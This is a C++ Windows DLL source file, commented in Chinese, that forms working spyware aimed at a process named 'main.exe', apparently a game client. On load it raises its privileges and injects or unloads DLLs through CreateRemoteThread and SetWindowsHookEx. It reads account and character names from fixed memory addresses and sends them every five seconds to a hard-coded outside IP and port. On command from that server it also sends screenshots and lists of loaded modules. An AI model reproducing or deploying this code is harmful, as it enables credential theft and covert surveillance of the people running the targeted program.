﻿// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <string.h>
#include <stdio.h>
#include <windows.h>
#include <tlhelp32.h>
#include <atlimage.h>
#include <atltime.h>
#include <conio.h>
#include <stdlib.h>
#include<iostream>
#include<winsock.h>
#include <sys/types.h>
#include <stdlib.h>

#include <assert.h>
#include <tchar.h>


using namespace std;

#pragma comment(lib,"ws2_32.lib")

#define BUFFER_SIZE 100
using namespace std;
void ErrorHandling(char* message);

#define _WidthPitch(w) ((w + w + w + 3) &amp; 0xFFFFFFFC)
#define PALVERSION 0x300
#define CAP_SHOW_MODE_STRTCH 1
#define CAP_SHOW_MODE_NOSTRTCH 0
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#define _CRT_SECURE_NO_WARNINGS
//***************************************************
// 函数名称: EnableDebugPrivilege
// 函数说明: 管理员权限提权
// 方    式：public
// 输入参数: void
// 输出参数：void
// 返 回 值: true-提权成功，false-提权失败
// 作    者: 
// 创建时间: 2018-11-5
// 备    注：
//***************************************************
bool EnableDebugPrivilege()
{
    HANDLE hToken;
    LUID sedebugnameValue;
    TOKEN_PRIVILEGES tkp;
    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
        return false;
    }
    if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue)) {
        __try {
            if (hToken) {
                CloseHandle(hToken);
            }
        }
        __except (EXCEPTION_EXECUTE_HANDLER) {};
        return false;
    }
    tkp.PrivilegeCount = 1;
    tkp.Privileges[0].Luid = sedebugnameValue;
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL)) {
        __try {
            if (hToken) {
                CloseHandle(hToken);
            }
        }
        __except (EXCEPTION_EXECUTE_HANDLER) {};
        return false;
    }
    return true;
}

static DWORD ProcessID;
static HANDLE mProcID;


DWORD processNameToId(LPCTSTR lpszProcessName)
{
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 pe;
    pe.dwSize = sizeof(PROCESSENTRY32);
    if (!Process32First(hSnapshot, &pe))
    {
        MessageBoxA(NULL,
            "The frist entry of the process list has not been copyied to the buffer",
            "Notice",
            MB_ICONINFORMATION | MB_OK
        );
        return 0;
    }
    while (Process32Next(hSnapshot, &pe))
    {
        if (!strcmp(lpszProcessName, pe.szExeFile))
        {
            return pe.th32ProcessID;
        }
    }
    return 0;
}
string getProcessModals(DWORD ProcessID) {
    HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); // 进程快照句柄
    PROCESSENTRY32 process = { sizeof(PROCESSENTRY32) }; // 快照信息
    // 初始化
    DWORD strModule;	// 模块名称
    HANDLE  hModuleSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, ProcessID); 	// 模块快照句柄
    MODULEENTRY32 me32 = { 0 };  // 模块入口
    me32.dwSize = sizeof(MODULEENTRY32);  // 申请空间

	
	string str = "";
    // 打印模块名
    while (::Module32Next(hModuleSnap, &me32)) {
		char *a = me32.szModule;
		string b = a;
		str += b + ";";
    }
    printf("\n");
	return str;
}


DWORD PrtScr(PCHAR* lpData, HWND hWnd = 0)
{
    HDC hdcScreen, hdcMem;
    RECT rc = { 0 }, desRc = { 0 };
    HBITMAP hbmScreen = NULL;
    BITMAP bmpScreen = { 0 };
    BITMAPINFOHEADER bitInfo = { 0 };
    BITMAPFILEHEADER bitHead = { 0 };
    DWORD dwBmpSize, dwSizeofDIB;
    char* lpbitmap = NULL;
    int width, height;

    if (!hWnd)
        hWnd = GetDesktopWindow();
    GetWindowRect(hWnd, &rc);
    GetWindowRect(GetDesktopWindow(), &desRc);

    hdcScreen = GetDC(NULL);
    hdcMem = CreateCompatibleDC(hdcScreen);
    if (!hdcMem)
        return 0;
    hbmScreen = CreateCompatibleBitmap(hdcScreen, rc.right - rc.left, rc.bottom - rc.top);
    if (!hbmScreen)
        return 0;
    SelectObject(hdcMem, hbmScreen);
    width = (rc.right > desRc.right) ? (desRc.right - rc.left) : (rc.right - rc.left);
    height = (rc.bottom > desRc.bottom) ? (desRc.bottom - rc.top) : (rc.bottom - rc.top);
    if (!BitBlt(hdcMem, 0, 0, width, height, hdcScreen, rc.left, rc.top, SRCCOPY))
        return 0;
    GetObject(hbmScreen, sizeof(BITMAP), &bmpScreen);

    bitInfo.biSize = sizeof(BITMAPINFOHEADER);
    bitInfo.biWidth = width;
    bitInfo.biHeight = height;
    bitInfo.biPlanes = 1;
    bitInfo.biBitCount = 32;
    bitInfo.biCompression = BI_RGB;

    dwBmpSize = ((bmpScreen.bmWidth * bitInfo.biBitCount + 31) / 32) * 4 * bmpScreen.bmHeight;
    lpbitmap = (char*)malloc(dwBmpSize);
    if (!lpbitmap)
        return 0;
    GetDIBits(hdcScreen, hbmScreen, 0, (UINT)bmpScreen.bmHeight, lpbitmap, (BITMAPINFO*)&bitInfo, DIB_RGB_COLORS);

    dwSizeofDIB = dwBmpSize + sizeof(bitHead) + sizeof(bitInfo);
    bitHead.bfOffBits = (DWORD)sizeof(bitHead) + (DWORD)sizeof(bitInfo);
    bitHead.bfSize = dwSizeofDIB;
    // 必须是字符BM或者十六进制代替0x4D42="BM"
    bitHead.bfType = MAKEWORD('B', 'M');

    *lpData = (char*)malloc(dwSizeofDIB);
    if (!*lpData)
        return 0;
    memmove(*lpData, &bitHead, sizeof(bitHead));
    memmove(*lpData + sizeof(bitHead), &bitInfo, sizeof(bitInfo));
    memmove(*lpData + sizeof(bitHead) + sizeof(bitInfo), lpbitmap, dwBmpSize);
    free(lpbitmap);
    DeleteObject(hbmScreen);
    DeleteObject(hdcMem);
    ReleaseDC(NULL, hdcScreen);
    return dwSizeofDIB;
}


void initialization() {
    //初始化套接字库
    WORD w_req = MAKEWORD(2, 2);//版本号
    WSADATA wsadata;
    int err;
    err = WSAStartup(w_req, &wsadata);
    if (err != 0) {
        cout << "初始化套接字库失败！" << endl;
    }
    else {
        cout << "初始化套接字库成功！" << endl;
    }
    //检测版本号
    if (LOBYTE(wsadata.wVersion) != 2 || HIBYTE(wsadata.wHighVersion) != 2) {
        cout << "套接字库版本号不符！" << endl;
        WSACleanup();
    }
    else {
        cout << "套接字库版本正确！" << endl;
    }
    //填充服务端地址信息
}


//定义长度变量
int send_len = 0;
int recv_len = 0;
//定义发送缓冲区和接受缓冲区
char send_buf[1024 * 2048];
char recv_buf[1024 * 1024];
//定义服务端套接字，接受请求套接字
SOCKET s_server;
//服务端地址客户端地址
SOCKADDR_IN server_addr;
//指令定义
//发送服务端数据线程
HANDLE tpushThread;

string operator+(string &content, int number) {
	string temp = "";
	char t = 0;
	while (true) {
		t = number % 10 + '0';
		temp = t + temp;
		number /= 10;
		if (number == 0) {
			return content + temp;
		}
	}
}
// const char* 转 wchar_t*，需要手动释放内存
wchar_t* StrToWStr(const char* Input) {
	// Str的长度大于或等于转换后的WStr的长度
	auto MaxLen = strlen(Input);
	wchar_t* Output = new wchar_t[MaxLen + 1]{};
	std::mbstowcs(Output, Input, MaxLen);
	return Output;
}
// 循环得到账号和角色名
DWORD _stdcall pushData(LPVOID IpParamenter) {
	while (true) {
		printf("开始发送 个人信息mProcID：%d\n", mProcID);
		static wchar_t *addr = new wchar_t[0x20];
		::ReadProcessMemory(mProcID, (LPVOID)(0x00EEEB1C), addr, 0x20, 0);
		static wchar_t *username = new wchar_t[0x20];
		::ReadProcessMemory(mProcID, (LPVOID)(0x088684C8), username, 0x20, 0);
		printf("%s-%s\n", addr,username);
		
		char b[50];
		int len1 = sprintf_s(b, "u:%s-%s", addr, username);
		send_len = send(s_server, b, len1, 0);
		_sleep(5 * 1000);
	}
	return 0;
}
DWORD _stdcall go(LPVOID IpParamenter)
{
    while (TRUE)
    {
        int nRecv = ::recv(s_server, recv_buf, 900, 0);
        if (nRecv > 0)
        {
            recv_buf[nRecv] = '\0';

			

			if (strcmp(recv_buf,"screenshot")==0) {
				printf("收到指令%s\n", recv_buf);
				//暂停其他信息发送
				SuspendThread(tpushThread);

				DWORD dwLen = 0;
				char* lpData = NULL;
				dwLen = PrtScr(&lpData);
				printf("%d\n", dwLen);
				
				char b[20];
				int dwint1 = (DWORD)dwLen;
				int len1 = sprintf_s(b, "start:%d;", dwint1);
				send_len = send(s_server, b, 20, 0);

				char a[20];
				int dwint = (DWORD)dwLen;
				int len = sprintf_s(a, "start:%d;",dwint);
				send_len = send(s_server, a, 20, 0);

				
				send_len = send(s_server, lpData, dwLen, 0);



				if (send_len < 0) {
					cout << "发送图片数据失败！" << endl;
				}
				
				ResumeThread(tpushThread);
			}
			else if (strcmp(recv_buf, "end")==0){
				char a[20];
				int len = sprintf_s(a, "end");
				send_len = send(s_server, a, 20, 0);
			}
			else if (strcmp(recv_buf, "dllList") == 0) {
				printf("收到指令%s\n", recv_buf);
				char a[20];
				int len = sprintf_s(a, "start");
				send_len = send(s_server, a, 20, 0);

				string str = getProcessModals(ProcessID);
				send(s_server, str.c_str(), str.length(), 0);
			}
			
			printf("接收到数据：%s\n", recv_buf);
			
			
        }
    }
    return 0;
}

//*****************************************************************************************************************************

BOOL InjectDll(LPCSTR DllFullPath, const DWORD dwRemoteProcessId)
{


	//打开远程线程
	HANDLE hRemoteProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwRemoteProcessId);
	if (hRemoteProcess == NULL)
	{
		cout << "Error: OpenProcess failed!\n" << endl;
		return FALSE;
	}

	//使用VirtualAllocEx函数在远程进程的内存地址空间分配DLL文件名空间
	LPVOID pszLibFileRemote = VirtualAllocEx(hRemoteProcess, NULL, lstrlen(DllFullPath) + 1, MEM_COMMIT, PAGE_READWRITE);
	if (pszLibFileRemote == NULL)
	{
		CloseHandle(hRemoteProcess);
		cout << "Error: VirtualAllocEx failed!\n" << endl;
		return FALSE;
	}

	//使用WriteProcessMemory函数将DLL的路径名写入到远程进程的内存空间
	if (!WriteProcessMemory(hRemoteProcess, pszLibFileRemote, DllFullPath, lstrlen(DllFullPath) + 1, NULL))
	{
		CloseHandle(hRemoteProcess);
		cout << "Error: WriteProcessMemory failed!\n" << endl;
		return FALSE;
	}

	//启动远程线程LoadLibraryA，通过远程线程调用创建新的线程
	HANDLE hRemoteThread;
	if ((hRemoteThread = CreateRemoteThread(hRemoteProcess, NULL, 0, (LPTHREAD_START_ROUTINE)LoadLibraryA, pszLibFileRemote, 0, NULL)) == NULL)
	{
		CloseHandle(hRemoteProcess);
		cout << "Error: the remote thread could not be created.\n" << endl;
		return FALSE;
	}
	else
	{
		// 等待线程退出 要设置超时 以免远程线程挂起导致程序无响应
		//WaitForSingleObject(hRemoteThread, 10000);
		// 如果等待线程 DLL中的DllMain不要写MessageBox
		cout << "Success: the remote thread was successfully created.\n" << endl;
	}

	// 释放句柄
	CloseHandle(hRemoteProcess);
	CloseHandle(hRemoteThread);

	return TRUE;
}


//
//利用Windows API SetWindowsHookEx实现注入DLL
//
BOOL SetWinHookInject(LPCSTR DllFullPath, const DWORD dwRemoteProcessId)
{
	HMODULE ModuleHandle = NULL;
	BOOL    bOk = FALSE;
	DWORD   FunctionAddress = NULL;
	UINT32  dwThreadId = 0;
	HHOOK   g_hHook = NULL;
	PVOID   pShareM = NULL;

	printf("[+] SetWinHKInject Enter!\n");


	ModuleHandle = LoadLibrary(DllFullPath);
	if (!ModuleHandle)
	{
		printf("[+] LoadLibrary error!\n");
		goto Exit;
	}


	FunctionAddress = (DWORD)GetProcAddress(ModuleHandle, "MyMessageProc");
	if (!FunctionAddress)
	{
		printf("[+] GetProcAddress error!\n");
		goto Exit;
	}


	dwThreadId = dwRemoteProcessId;
	if (!dwThreadId)
		goto Exit;

	//设消息钩子
	g_hHook = SetWindowsHookEx(
		WH_GETMESSAGE,//WH_KEYBOARD,//WH_CALLWNDPROC,
		(HOOKPROC)FunctionAddress,
		ModuleHandle,
		dwThreadId
	);

	if (!g_hHook)
	{
		printf("[-] SetWindowsHookEx error !\n");
		goto Exit;
	}

	printf("[!] SetWinHKInject Exit!\n");
	bOk = TRUE;
Exit:
	if (ModuleHandle)
		FreeLibrary(ModuleHandle);
	return bOk;

}
DWORD _stdcall got(LPVOID IpParamenter)
{
	while (true) {
		ProcessID = processNameToId("main.exe");
		if (ProcessID == 0) {
			printf("打开进程失败\n");
			continue;
		}
		// 获取可执行文件所在目录
		TCHAR szFilePath[MAX_PATH + 1];
		GetModuleFileName(NULL, szFilePath, MAX_PATH);
		*(_tcsrchr(szFilePath, '\\')) = 0;
		_tcscat_s(szFilePath, sizeof(szFilePath), "\\Listen.dll");
		cout << szFilePath << endl;
		bool is = InjectDll(szFilePath, ProcessID);//这个数字是你想注入的进程的ID号

		if (is) {
			printf("注入成功\n");
			break;
		}
		
	}
	return 0;
}

/* 卸载DLL**/
BOOL EnjectDll(DWORD dwPID, LPCTSTR szDllName)
{
	BOOL bMore = FALSE, bFound = FALSE;
	HANDLE hSnapshot, hProcess, hThread;
	HMODULE hModule = NULL;
	MODULEENTRY32 me = { sizeof(me) };
	LPTHREAD_START_ROUTINE pThreadProc;

	hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwPID);
	bMore = Module32First(hSnapshot, &me);
	for (; bMore; bMore = Module32Next(hSnapshot, &me))
	{
		/*

		if (!_tcsicmp((LPCTSTR)me.szModule, szDllName) || !_tcsicmp((LPCTSTR)me.szExePath, szDllName))
		{
			bFound = TRUE;
			break;
		}
		*/

	}
	if (!(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)))
		return FALSE;

	hModule = GetModuleHandle("kernel32.dll");
	pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(hModule, "FreeLibrary");
	hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, me.modBaseAddr, 0, NULL);
	WaitForSingleObject(hThread, INFINITE);
	CloseHandle(hThread);
	CloseHandle(hProcess);
	CloseHandle(hSnapshot);
	return TRUE;
}
DWORD _stdcall gott(LPVOID IpParamenter)
{
	bool is = false;
	ProcessID = processNameToId("main.exe");
	mProcID = OpenProcess(PROCESS_ALL_ACCESS, false, ProcessID);    //打开进程
	if (mProcID == 0) {
		printf("打开进程失败\n");
	}
	else {
		printf("打开进程成功\n");
	}
	is = EnjectDll(ProcessID, "Listen.dll");
	if (is) {
		printf("卸载DLL 完成");
		initialization();
		//填充服务端信息
		server_addr.sin_family = AF_INET;
		server_addr.sin_addr.S_un.S_addr = inet_addr("139.224.187.111");
		server_addr.sin_port = htons(9190);
		//创建套接字
		s_server = socket(AF_INET, SOCK_STREAM, 0);
		if (connect(s_server, (SOCKADDR*)&server_addr, sizeof(SOCKADDR)) == SOCKET_ERROR) {
			cout << "服务器连接失败！" << endl;
			WSACleanup();
		}
		else {
			cout << "服务器连接成功！" << endl;

			string s = "服务器连接成功！";
			int len = s.copy(send_buf, 100);
			send_len = send(s_server, send_buf, 100, 0);

			if (send_len < 0) {
				cout << "发送失败！" << endl;
			}
		}
		
		CreateThread(NULL, 0, go, NULL, 0, NULL);
		tpushThread = CreateThread(NULL, 0, pushData, NULL, 0, NULL);
	}
	else {
		printf("卸载DLL 失败");
	}
	
	return 0;
}

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
	
   /* bool admin = EnableDebugPrivilege();
   
    AllocConsole();
    freopen("CONOUT$", "w+t", stdout);
    freopen("CONOIN$", "r+t", stdin);

    if (admin) {
        printf("提权成功\n");
    }
    
    ProcessID = processNameToId("main.exe");
    getProcessModals(ProcessID);
    printf("进程pid：%d",ProcessID);*/
   
    // TODO: Add your command handler code here
    
    /*AllocConsole();
    freopen("CONOUT$", "w+t", stdout);
    freopen("CONOIN$", "r+t", stdin);
    DWORD dwLen = 0;
    char* lpData = NULL;

    dwLen = PrtScr(&lpData);
    FILE* wj = NULL;
    fopen_s(&wj, "F:\\1.bmp", "wb");
    fwrite(lpData, dwLen, 1, wj);
    fclose(wj);
    free(lpData);
    printf("%d\n", dwLen);

    system("F:\\1.bmp");

    system("pause");*/



	
    

    //CreateThread(NULL, 0, go, NULL, 0, NULL);
	AllocConsole();
	freopen("CONOUT$", "w+t", stdout);
	freopen("CONOIN$", "r+t", stdin);
	bool admin = false;

	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH: //当这个DLL被映射到了进程的地址空间时
		admin = EnableDebugPrivilege();
		if (admin) {
			printf("提权成功\n");
		}

		//CreateThread(NULL, 0, got, NULL, 0, NULL);
		printf("开始执行\n");
		
		CreateThread(NULL, 0, gott, NULL, 0, NULL);

		break;

	case DLL_PROCESS_DETACH: //这个DLL从进程的地址空间中解除映射
		
		printf("解除映射\n");
		break;

	case DLL_THREAD_ATTACH: //一个线程正在被创建
		printf("线程正在被创建\n");
		printf("线程ID：%d\n", ProcessID);
		printf("线程mProcID：%d\n", mProcID);

		break;

	case DLL_THREAD_DETACH: //线程终结
		printf("线程终结\n");
		break;
	}



    //关闭套接字
    //closesocket(s_server);
    //释放DLL资源
    //WSACleanup();


    return TRUE;
}
